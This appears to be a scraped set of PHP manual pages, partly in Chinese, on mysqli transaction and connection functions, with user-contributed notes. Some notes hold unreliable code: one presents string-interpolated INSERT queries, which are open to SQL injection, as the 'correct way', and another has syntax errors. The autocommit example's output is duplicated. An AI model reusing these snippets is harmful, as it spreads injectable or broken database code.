mysqli_query($mysqli, "CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Turn autocommit off */
mysqli_autocommit($mysqli, false);

$result = mysqli_query($mysqli, "SELECT @@autocommit");
$row = mysqli_fetch_row($result);
printf("Autocommit is %s\n", $row[0]);

try {
/* Prepare insert statement */
$stmt = mysqli_prepare($mysqli, 'INSERT INTO language(Code, Speakers) VALUES (?,?)');
mysqli_stmt_bind_param($stmt, 'ss', $language_code, $native_speakers);

/* Insert some values */
$language_code = 'DE';
$native_speakers = 50_123_456;
mysqli_stmt_execute($stmt);
$language_code = 'FR';
$native_speakers = 40_546_321;
mysqli_stmt_execute($stmt);

/* Commit the data in the database. This doesn't set autocommit=true */
mysqli_commit($mysqli);
print "Committed 2 rows in the database\n";

$result = mysqli_query($mysqli, "SELECT @@autocommit");
$row = mysqli_fetch_row($result);
printf("Autocommit is %s\n", $row[0]);

/* Try to insert more values */
$language_code = 'PL';
$native_speakers = 30_555_444;
mysqli_stmt_execute($stmt);
$language_code = 'DK';
$native_speakers = 5_222_444;
mysqli_stmt_execute($stmt);

/* Setting autocommit=true will trigger a commit */
mysqli_autocommit($mysqli, true);

print "Committed 2 row in the database\n";
} catch (mysqli_sql_exception $exception) {
mysqli_rollback($mysqli);

throw $exception;
}

以上示例会输出：

Autocommit is 0
Committed 2 rows in the database
Autocommit is 0
Committed 2 row in the database
Autocommit is 0
Committed 2 rows in the database
Autocommit is 0
Committed 2 row in the database

注释

Note:

此方法在不支持事务的表类型中不生效，如 MyISAM 或 ISAM。

参见

  • mysqli_begin_transaction() - Starts a transaction
  • mysqli_commit() - 提交当前事务
  • mysqli_rollback() - 回滚当前事务

User Contributed Notes

jcwebb at dicoe dot com 11-Nov-2007 01:03
Just to be clear, autocommit not only turns on/off transactions, but will also 'commit' any waiting queries.
<?php
mysqli_autocommit($link, FALSE); // turn OFF auto
-some query 1;
-some query 2;
mysqli_commit($link); // process ALL queries so far
-some query 3;
-some query 4;
mysqli_autocommit($link, TRUE); // turn ON auto
?>
All 4 will be processed.
Geoffrey Thubron 12-May-2007 06:02
It's worth noting that you can perform transactions without disabling autocommit just using standard sql. "START TRANSACTION;" will start a transaction. "COMMIT;" will commit the results and "ROLLBACK;" will revert to the pre-transaction state.

CREATE TABLE and CREATE DATABASE (and probably others) are always commited immediately and your transaction appears to terminate. Thus any commands before and after will be commited, even if a subsequent rollback is attempted.

If you are in the middle of a transaction and you call mysqli_close() it appears that you get the funcitonality of an implicit rollback.

I can't reproduce the "code bug causes lock" problem outlined below (I always get a successful rollback and the script will run umtine times successfully). Therefore, I would suggest that the problem is fixed in php-5.2.2.
Glen 11-Mar-2007 12:22
I've found that if PHP exits due to a code bug during a transaction, an InnoDB table can remain locked until Apache is restarted.

The simple test is to start a transaction by setting $mysqli_obj->autocommit(false) and executing an insert statement.  Before getting to a $mysqli_obj->commit statement - have a runtime code bug bomb PHP.  You check the database, no insert happened (you assume a rollback occurred) .. and you go fix the bug, and try again... but this time the script takes about 50 seconds to timeout - the insert statement returning with a "1205 - Lock wait timeout exceeded; try restarting transaction".  No rollback occurred. And this error will not go away until you restart Apache - for whatever reason, the resources are not released until the process is killed.

I found that an 'exit', instead of a PHP code bug, will not cause a problem. So there is an auto-rollback mechanism in place - it just fails miserably when PHP dies unexpectantly. Having to restarting apache is a pretty drastic measure to overcome a code bug.

To avoid this problem, I use "register_shutdown_function()" when I start a transaction, and set a flag to indicate a transaction is in process (because there is no unregister_shutdown_function()). See below. So the __shutdown_check() routine (I beleive it needs to be public) is called when the script bombs - which is able to invoke the rollback().

these are just the relevant bits to give u an idea...

<?php

public function begin_transaction() {
  $ret = $this->mysqli_obj->autocommit(false);
  $this->transaction_in_progress = true;
  register_shutdown_function(array($this, "__shutdown_check"));
}

public function __shutdown_check() {
  if ($this->transaction_in_progress) {
    $this->rollback();
  }
}

public function commit() {
  $ret = $this->mysqli_obj->commit();
  $this->transaction_in_progress = false;
}

public function rollback() {
  $ret = $this->mysqli_obj->rollback();
  $this->transaction_in_progress = false;
}
?>

True for PHP 5.1.6 + MySQL 5.0.24a.
will at phpfever dot com 27-Apr-2006 01:22
If you are using the mysql command line tool, here are some helpful hints for the autocommit feature:

1.  To view the current autocommit setting, you can use this query: select @@autocommit;  It will return the current setting as 1 or 0 (on or off)

2. You can manage the default autocommit feature in you my.cnf or my.ini by adding the following line: init_connect='set autocommit=0'.  I'm pretty sure this isn't in the documentation, but it does work.

Here are the current engines, as of MySQL 5.1dev that support transactions:

InnoDB
BerkeleyDB
Falcon

Falcon is very new, so beware using it on production systems.


Starts a transaction

  • ? mysqli::autocommit
  • mysqli::change_user ?
  • PHP Manual
  • mysqli
  • Starts a transaction

mysqli::begin_transaction

mysqli_begin_transaction

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

mysqli::begin_transaction -- mysqli_begin_transaction — Starts a transaction

说明

面向对象风格

public mysqli::begin_transaction(int $flags = 0, ?string $name = null): bool

过程化风格:

mysqli_begin_transaction(mysqli $mysql, int $flags = 0, ?string $name = null): bool

Begins a transaction. Requires the InnoDB engine (it is enabled by default). For additional details about how MySQL transactions work, see » http://dev.mysql.com/doc/mysql/en/commit.html.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

flags

Valid flags are:

  • MYSQLI_TRANS_START_READ_ONLY: Start the transaction as "START TRANSACTION READ ONLY". Requires MySQL 5.6 and above.

  • MYSQLI_TRANS_START_READ_WRITE: Start the transaction as "START TRANSACTION READ WRITE". Requires MySQL 5.6 and above.

  • MYSQLI_TRANS_START_WITH_CONSISTENT_SNAPSHOT: Start the transaction as "START TRANSACTION WITH CONSISTENT SNAPSHOT".

name

Savepoint name for the transaction.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | name is now nullable.

示例

Example #1 mysqli::begin_transaction() example

面向对象风格

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
$mysqli->query("CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Start transaction */
$mysqli->begin_transaction();

try {
/* Insert some values */
$mysqli->query("INSERT INTO language(Code, Speakers) VALUES ('DE', 42000123)");

/* Try to insert invalid values */
$language_code = 'FR';
$native_speakers = 'Unknown';
$stmt = $mysqli->prepare('INSERT INTO language(Code, Speakers) VALUES (?,?)');
$stmt->bind_param('ss', $language_code, $native_speakers);
$stmt->execute();

/* If code reaches this point without errors then commit the data in the database */
$mysqli->commit();
} catch (mysqli_sql_exception $exception) {
$mysqli->rollback();

throw $exception;
}

过程化风格

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
mysqli_query($mysqli, "CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Start transaction */
mysqli_begin_transaction($mysqli);

try {
/* Insert some values */
mysqli_query($mysqli, "INSERT INTO language(Code, Speakers) VALUES ('DE', 42000123)");

/* Try to insert invalid values */
$language_code = 'FR';
$native_speakers = 'Unknown';
$stmt = mysqli_prepare($mysqli, 'INSERT INTO language(Code, Speakers) VALUES (?,?)');
mysqli_stmt_bind_param($stmt, 'ss', $language_code, $native_speakers);
mysqli_stmt_execute($stmt);

/* If code reaches this point without errors then commit the data in the database */
mysqli_commit($mysqli);
} catch (mysqli_sql_exception $exception) {
mysqli_rollback($mysqli);

throw $exception;
}

注释

Note:

This function does not work with non transactional table types (like MyISAM or ISAM).

参见

  • mysqli_autocommit() - 打开或关闭本次数据库连接的自动命令提交事务模式
  • mysqli_commit() - 提交当前事务
  • mysqli_rollback() - 回滚当前事务

User Contributed Notes

PHP Guru 04-Apr-2020 05:36
MySQL 5.6 introduces READ ONLY mode which applies optimizations to your transactions that can only be applied when it knows in advance that no table modifications will be made and that no locks will be issued.

The default access mode is READ WRITE in all versions up to and including MySQL 5.6. Starting in MySQL 5.7, the appropriate access mode is detected automatically. So if your transaction attempts modifications or table locks, it will automatically use READ WRITE mode, otherwise it will use READ ONLY mode and your transaction will benefit from the optimizations that come from that without having to explicitly declare is as READ ONLY.

Therefore the only time you need to explicitly declare an access mode is when you are using MySQL 5.6 and you are sure that you want READ ONLY mode. Note that any queries that attempt to modify tables or issue locks in READ ONLY mode will fail. Temporary tables can still be modified.

(Moderators. This post should replace the previous post that I made on the subject. Thanks.)
VasK@hapir 15-Dec-2018 03:25
The above answer from Ral worked for us, Thanks a lot. This is how we implemented the proposed workaround for

Warning: mysqli_begin_transaction(): This server version doesn't support 'READ WRITE' and 'READ ONLY'. Minimum 5.6.5 is required

We appended the following line to /etc/my.cnf and restarted MySQL server

version=10.2.19-MariaDB
Ral 29-May-2018 05:44
If you receive errors like: "This server version doesn't support 'READ WRITE' and 'READ ONLY'. Minimum 5.6.5 is required" with versions of MariaDB that DO support them, this is due to an internal check in mysqli conflicting with a hack in MariaDB to allow replication with oracle mysql.

MariaDB prefixes its server version numbers with "5.5.5-" for example "5.5.5-10.3.7-MariaDB-1:10.3.7+maria~stretch". This is because oracle mysql would interpet the "10" as version 1. Mysql clients aware of MariaDB have been updated to detect and strip this prefix.

However the check for mysqli.begin-transaction sees the 5.5.5 prefix and so fails.

The workaround is to specify a custom version string without the prefix for MariaDB on the command line using the --version option. Then mysqli.begin-transaction functions as expected.
Luc 20-Sep-2016 02:28
For PHP<5.5:

    mysqli_query($db, "START TRANSACTION");


Changes the user of the specified database connection

  • ? mysqli::begin_transaction
  • mysqli::character_set_name ?
  • PHP Manual
  • mysqli
  • Changes the user of the specified database connection

mysqli::change_user

mysqli_change_user

(PHP 5, PHP 7, PHP 8)

mysqli::change_user -- mysqli_change_user — Changes the user of the specified database connection

说明

面向对象风格

public mysqli::change_user(string $username, string $password, ?string $database): bool

过程化风格

mysqli_change_user(
mysqli $mysql,
string $username,
string $password,
?string $database
): bool

Changes the user of the specified database connection and sets the current database.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

username

The MySQL user name.

password

The MySQL password.

database

The database to change to.

If desired, the null value may be passed resulting in only changing the user and not selecting a database. To select a database in this case use the mysqli_select_db() function.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::change_user() example

面向对象风格

<?php

/* connect database test */
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* Set Variable a */
$mysqli->query("SET @a:=1");

/* reset all and select a new database */
$mysqli->change_user("my_user", "my_password", "world");

if ($result = $mysqli->query("SELECT DATABASE()")) {
$row = $result->fetch_row();
printf("Default database: %s\n", $row[0]);
$result->close();
}

if ($result = $mysqli->query("SELECT @a")) {
$row = $result->fetch_row();
if ($row[0] === NULL) {
printf("Value of variable a is NULL\n");
}
$result->close();
}

/* close connection */
$mysqli->close();
?>

过程化风格

<?php
/* connect database test */
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* Set Variable a */
mysqli_query($link, "SET @a:=1");

/* reset all and select a new database */
mysqli_change_user($link, "my_user", "my_password", "world");

if ($result = mysqli_query($link, "SELECT DATABASE()")) {
$row = mysqli_fetch_row($result);
printf("Default database: %s\n", $row[0]);
mysqli_free_result($result);
}

if ($result = mysqli_query($link, "SELECT @a")) {
$row = mysqli_fetch_row($result);
if ($row[0] === NULL) {
printf("Value of variable a is NULL\n");
}
mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Default database: world
Value of variable a is NULL

注释

Note:

Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

参见

  • mysqli_connect() - 别名 mysqli::__construct
  • mysqli_select_db() - 选择用于数据库查询的默认数据库

User Contributed Notes

There are no user contributed notes for this page.


返回当前数据库连接的字符编码

  • ? mysqli::change_user
  • mysqli::close ?
  • PHP Manual
  • mysqli
  • 返回当前数据库连接的字符编码

mysqli::character_set_name

mysqli_character_set_name

(PHP 5, PHP 7, PHP 8)

mysqli::character_set_name -- mysqli_character_set_name — 返回当前数据库连接的字符编码

说明

面向对象风格

public mysqli::character_set_name(): string

过程化风格

mysqli_character_set_name(mysqli $mysql): string

返回当前数据库连接的字符编码。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

当前连接的字符编码

示例

Example #1 mysqli::character_set_name() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Set the default character set */
$mysqli->set_charset('utf8mb4');

/* Print current character set */
$charset = $mysqli->character_set_name();
printf("Current character set is %s\n", $charset);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Set the default character set */
mysqli_set_charset($mysqli, 'utf8mb4');

/* Print current character set */
$charset = mysqli_character_set_name($mysqli);
printf("Current character set is %s\n", $charset);

以上示例会输出：

Current character set is utf8mb4

参见

  • mysqli_set_charset() - 设置客户端字符集
  • mysqli_real_escape_string() - 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义

User Contributed Notes

There are no user contributed notes for this page.


关闭先前打开的数据库连接

  • ? mysqli::character_set_name
  • mysqli::commit ?
  • PHP Manual
  • mysqli
  • 关闭先前打开的数据库连接

mysqli::close

mysqli_close

(PHP 5, PHP 7, PHP 8)

mysqli::close -- mysqli_close — 关闭先前打开的数据库连接

说明

面向对象风格

public mysqli::close(): true

过程化风格

mysqli_close(mysqli $mysql): true

关闭先前打开的数据库连接。

当打开的非持久 MySQL 连接和结果集的对象销毁时会自动关闭。显式关闭打开的连接和释放结果集不是必需的。但是，如果脚本在获得结果后仍有大量工作要做，那么最好在脚本执行完所有数据库操作后立即关闭连接。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

总是返回 true。

更新日志

版本 | 说明
8.0.0 | 此函数始终返回 true。之前失败时返回 false。

示例

Example #1 mysqli::close() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

/* Close the connection as soon as it's no longer needed */
$mysqli->close();

foreach ($result as $row) {
/* Processing of the data retrieved from the database */
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($mysqli, "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

/* Close the connection as soon as it's no longer needed */
mysqli_close($mysqli);

foreach ($result as $row) {
/* Processing of the data retrieved from the database */
}

注释

Note:

mysqli_close() 不会关闭持久连接。更多详情，查看持久连接的相关手册页。

参见

  • mysqli::__construct() - Open a new connection to the MySQL server
  • mysqli_init() - 初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象
  • mysqli_real_connect() - 建立一个 MySQL 服务器连接
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

There are no user contributed notes for this page.


提交当前事务

  • ? mysqli::close
  • mysqli::$connect_errno ?
  • PHP Manual
  • mysqli
  • 提交当前事务

mysqli::commit

mysqli_commit

(PHP 5, PHP 7, PHP 8)

mysqli::commit -- mysqli_commit — 提交当前事务

说明

面向对象风格

public mysqli::commit(int $flags = 0, ?string $name = null): bool

过程化风格

mysqli_commit(mysqli $mysql, int $flags = 0, ?string $name = null): bool

提交当前数据库连接的事务。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

flags

MYSQLI_TRANS_COR_* 常量的位掩码。

name

如果提供，则执行 COMMIT/*name*/。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
8.0.0 | name 现在允许为 null。

示例

参阅 mysqli::begin_transaction() 示例。

注释

Note:

此方法在不支持事务的表类型中不生效，如 MyISAM 或 ISAM。

参见

  • mysqli_autocommit() - 打开或关闭本次数据库连接的自动命令提交事务模式
  • mysqli_begin_transaction() - Starts a transaction
  • mysqli_rollback() - 回滚当前事务
  • mysqli_savepoint() - 在当前事务中设置命名保存点

User Contributed Notes

zattechnology at gmail dot com 15-May-2019 02:23
When you have alot of transactions to make, say you are applying inserting items to the database from a loop, it will be better to use the mysqli_commit for this kind of process as it will only hit the database once.

//Wrong way
Example 1:

$con = mysqli_connect("host", "username", "password", "database") or die("Could not establish connection to database");

$users = ["chris", "james", "peter", "mark", "joe", "alice", "bob"]

for($i=0; $i<count($users); $i++){
       $user= $users[$i];
       $query = mysqli_query($con, "INSERT INTO users (username) VALUES ('$user') ");
}

//Correct Way
Example 2

$con = mysqli_connect("host", "username", "password", "database") or die("Could not establish connection to database");

$users = ["chris", "james", "peter", "mark", "joe", "alice", "bob"]

//Turn off autocommit
mysqli_autocommit($con, FALSE)

//Make some transactions
for($i=0; $i<count($users); $i++){
     $user= $users[$i];
     $query = mysqli_query($con, "INSERT INTO users (username) VALUES ('$user') ");
}

//Make a one-time hit to the database
mysqli_commit($con)

As with the Example 1, since we had 7 items in the list, this means that their will be a 7 times hit to our database which can really affect performance. But with the Example 2, since we already turned off autocommit this means that the transactions will be queued ontill will explicitly call mysqli_commit($con)
NoMan2000 27-May-2015 02:51
This is to clarify the Flags parameters and what they mean:

MYSQLI_TRANS_COR_AND_CHAIN:

Appends "AND CHAIN" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_AND_NO_CHAIN:

Appends "AND NO CHAIN" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_RELEASE:

Appends "RELEASE" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_NO_RELEASE:

Appends "NO RELEASE" to mysqli_commit or mysqli_rollback.

To clarify those options:

The AND CHAIN clause causes a new transaction to begin as soon as the current one ends, and the new transaction has the same isolation level as the just-terminated transaction.

The RELEASE clause causes the server to disconnect the current client session after terminating the current transaction.
snchzantonio at gmail dot com 16-Aug-2013 05:38
I never recomend to use the ? with only one value variant like: $var = expression ? $var  : other_value or $var = expression ? null  : other_value ,and php suport Exception catchin so,use it :)

here my opinion abut lorenzo's post:

  <?php

//variants combined

$mysqli->autocommit(FALSE);

try{

  $mysqli->query("INSERT INTO myCity (id) VALUES (100)") or throw new Exception('error!');

// or we can use

  if( !$mysqli->query("INSERT INTO myCity (id) VALUES (200)"){
    throw new Exception('error!');
  }

}catch( Exception $e ){
  $mysqli->rollback();
}
$mysqli->commit();

?>
Bob Johnson 10-Sep-2009 10:42
The compactness of Lorenzo's code is admirable.
However, it is a good idea to also check  $mysqli->affected_rows to make sure that the INSERT statement did not fail.

<?php
$result_query = @mysqli_query($query, $connect);
                if (($result_query == false) &&
                   (mysqli_affected_rows($connect) == 0))
                 {
                    // verify the query executed completely and verify that it
                    // had impact on the table

                    $success = false;

                    // here also, the developer could choose to add a ROLLBACK
                    // statement
                }
?>
mvanlamz 31-Mar-2009 11:36
Please note that calling mysqli::commit() will NOT automatically set mysqli::autocommit() back to 'true'.

This means that any queries following mysqli::commit() will be rolled back when your script exits.
Lorenzo - webmaster AT 4tour DOT it 11-Feb-2009 03:12
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


Returns the error code from last connect call

  • ? mysqli::commit
  • mysqli::$connect_error ?
  • PHP Manual
  • mysqli
  • Returns the error code from last connect call

mysqli::$connect_errno

mysqli_connect_errno

(PHP 5, PHP 7, PHP 8)

mysqli::$connect_errno -- mysqli_connect_errno — Returns the error code from last connect call

说明

面向对象风格

int $mysqli->connect_errno;

过程化风格

mysqli_connect_errno(): int

Returns the error code from the last connection attempt.

参数

此函数没有参数。

返回值

An error code for the last connection attempt, if it failed. Zero means no error occurred.

示例

Example #1 $mysqli->connect_errno example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_OFF);
/* @ is used to suppress warnings */
$mysqli = @new mysqli('localhost', 'fake_user', 'wrong_password', 'does_not_exist');
if ($mysqli->connect_errno) {
/* Use your preferred error logging method here */
error_log('Connection error: ' . $mysqli->connect_errno);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_OFF);
/* @ is used to suppress warnings */
$link = @mysqli_connect('localhost', 'fake_user', 'wrong_password', 'does_not_exist');
if (!$link) {
/* Use your preferred error logging method here */
error_log('Connection error: ' . mysqli_connect_errno());
}

参见

  • mysqli_connect() - 别名 mysqli::__construct
  • mysqli_connect_error() - Returns a description of the last connection error
  • mysqli_errno() - 返回最近函数调用的错误代码
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - 返回上一次 MySQL 操作的 SQLSTATE 错误

User Contributed Notes

There are no user contributed notes for this page.


Returns a description of the last connection error

  • ? mysqli::$connect_errno
  • mysqli::__construct ?
  • PHP Manual
  • mysqli
  • Returns a description of the last connection error

mysqli::$connect_error

mysqli_connect_error

(PHP 5, PHP 7, PHP 8)

mysqli::$connect_error -- mysqli_connect_error — Returns a description of the last connection error

说明

面向对象风格

?string $mysqli->connect_error;

过程化风格

mysqli_connect_error(): ?string

Returns the error message from the last connection attempt.

参数

此函数没有参数。

返回值

A string that describes the error. null is returned if no error occurred.

示例

Example #1 $mysqli->connect_error example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_OFF);
/* @ is used to suppress warnings */
$mysqli = @new mysqli('localhost', 'fake_user', 'wrong_password', 'does_not_exist');
if ($mysqli->connect_error) {
/* Use your preferred error logging method here */
error_log('Connection error: ' . $mysqli->connect_error);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_OFF);
/* @ is used to suppress warnings */
$link = @mysqli_connect('localhost', 'fake_user', 'wrong_password', 'does_not_exist');
if (!$link) {
/* Use your preferred error logging method here */
error_log('Connection error: ' . mysqli_connect_error());
}

参见

  • mysqli_connect() - 别名 mysqli::__construct
  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_errno() - 返回最近函数调用的错误代码
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - 返回上一次 MySQL 操作的 SQLSTATE 错误

User Contributed Notes

There are no user contributed notes for this page.


Open a new connection to the MySQL server

  • ? mysqli::$connect_error
  • mysqli::debug ?
  • PHP Manual
  • mysqli
  • Open a new connection to the MySQL server

mysqli::__construct

mysqli::connect

mysqli_connect

(PHP 5, PHP 7, PHP 8)

mysqli::__construct -- mysqli::connect -- mysqli_connect — Open a new connection to the MySQL server

说明

面向对象风格

public mysqli::__construct(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
)
public mysqli::connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
): bool

过程化风格

mysqli_connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
): mysqli|false

Opens a connection to the MySQL Server.

参数

hostname

Can be either a host name or an IP address. When passing null, the value is retrieved from mysqli.default_host. When possible, pipes will be used instead of the TCP/IP protocol. The TCP/IP protocol is used if a host name and port number are provided together e.g. localhost:3308.

Prepending host by p: opens a persistent connection. mysqli_change_user() is automatically called on connections opened from the connection pool.

username

The MySQL username or null to assume the username based on the mysqli.default_user ini option.

password

The MySQL password or null to assume the password based on the mysqli.default_pw ini option.

database

The default database to be used when performing queries or null.

port

The port number to attempt to connect to the MySQL server or null to assume the port based on the mysqli.default_port ini option.

socket

The socket or named pipe that should be used or null to assume the socket based on the mysqli.default_socket ini option.

Note:

Specifying the socket parameter will not explicitly determine the type of connection to be used when connecting to the MySQL server. How the connection is made to the MySQL database is determined by the hostname parameter.

返回值

mysqli_connect() returns an object which represents the connection to a MySQL Server, 或者在失败时返回 false.

mysqli::connect() returns true on success 或者在失败时返回 false. Prior to PHP 8.1.0, returns null on success.

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
8.1.0 | mysqli::connect() now returns true instead of null on success.
7.4.0 | All parameters are now nullable.

示例

Example #1 mysqli::__construct() example

面向对象风格

<?php

/* You should enable error reporting for mysqli before attempting to make a connection */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');

/* Set the desired charset after establishing a connection */
$mysqli->set_charset('utf8mb4');

printf("Success... %s\n", $mysqli->host_info);

过程化风格

<?php

/* You should enable error reporting for mysqli before attempting to make a connection */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

/* Set the desired charset after establishing a connection */
mysqli_set_charset($mysqli, 'utf8mb4');

printf("Success... %s\n", mysqli_get_host_info($mysqli));

以上示例的输出类似于：

Success... localhost via TCP/IP

Example #2 Extending mysqli class

<?php

class FooMysqli extends mysqli {
public function __construct($host, $user, $pass, $db, $port, $socket, $charset) {
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
parent::__construct($host, $user, $pass, $db, $port, $socket);
$this->set_charset($charset);
}
}

$db = new FooMysqli('localhost', 'my_user', 'my_password', 'my_db', 3306, null, 'utf8mb4');

Example #3 Manual error handling

If error reporting is disabled, the developer is responsible for checking and handling failures

面向对象风格

<?php

error_reporting(0);
mysqli_report(MYSQLI_REPORT_OFF);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');
if ($mysqli->connect_errno) {
throw new RuntimeException('mysqli connection error: ' . $mysqli->connect_error);
}

/* Set the desired charset after establishing a connection */
$mysqli->set_charset('utf8mb4');
if ($mysqli->errno) {
throw new RuntimeException('mysqli error: ' . $mysqli->error);
}

过程化风格

<?php

error_reporting(0);
mysqli_report(MYSQLI_REPORT_OFF);
$mysqli = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');
if (mysqli_connect_errno()) {
throw new RuntimeException('mysqli connection error: ' . mysqli_connect_error());
}

/* Set the desired charset after establishing a connection */
mysqli_set_charset($mysqli, 'utf8mb4');
if (mysqli_errno($mysqli)) {
throw new RuntimeException('mysqli error: ' . mysqli_error($mysqli));
}

注释

Note:

MySQLnd 总是使用服务器的默认字符集。此字符集在连接握手／认证时发送，并被 mysqlnd 使用。

Libmysqlclient 使用 my.cnf 中的默认字符集或者由在调用 mysqli_init() 之后，mysqli_real_connect() 之前先调用 mysqli_options() 来指定。

Note:

面向对象风格 only: If the connection fails, an object is still returned. To check whether the connection failed, use either the mysqli_connect_error() function or the mysqli->connect_error property as in the preceding examples.

Note:

If it is necessary to set options, such as the connection timeout, mysqli_real_connect() must be used instead.

Note:

Calling the constructor with no parameters is the same as calling mysqli_init().

Note:

Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock.

参见

  • mysqli_real_connect() - 建立一个 MySQL 服务器连接
  • mysqli_options() - 设置选项
  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a description of the last connection error
  • mysqli_close() - 关闭先前打开的数据库连接

User Contributed Notes

arnold at nijboer dot it 31-Dec-2022 12:17
public mysqli::__construct(
    string $hostname = ini_get("mysqli.default_host"),
    string $username = ini_get("mysqli.default_user"),
    string $password = ini_get("mysqli.default_pw"),
    string $database = "",
    int $port = ini_get("mysqli.default_port"),
    string $socket = ini_get("mysqli.default_socket")
)

the mysqli construct looks at the Master PHP.ini values.
if you're using a local ini overwrite of some sort add the ini_get to you're php script:
